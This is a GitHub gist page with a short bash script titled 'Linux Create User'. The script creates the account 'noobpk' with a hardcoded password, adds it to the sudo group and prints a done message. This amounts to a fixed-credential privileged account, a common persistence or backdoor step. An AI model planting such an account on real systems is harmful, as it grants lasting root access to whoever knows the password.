Skip to content

Instantly share code, notes, and snippets.

@noobpk
Created August 31, 2020 16:48
Show Gist options
  • Select an option

  • Save noobpk/c9175fbe77273db9b51fc7486828ee39 to your computer and use it in GitHub Desktop.

Select an option

Save noobpk/c9175fbe77273db9b51fc7486828ee39 to your computer and use it in GitHub Desktop.
Linux Create User
#!/bin/bash
sudo useradd -p \$(openssl passwd -1 1_2_3Qwe) noobpk
usermod -aG sudo noobpk
echo [*]Done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment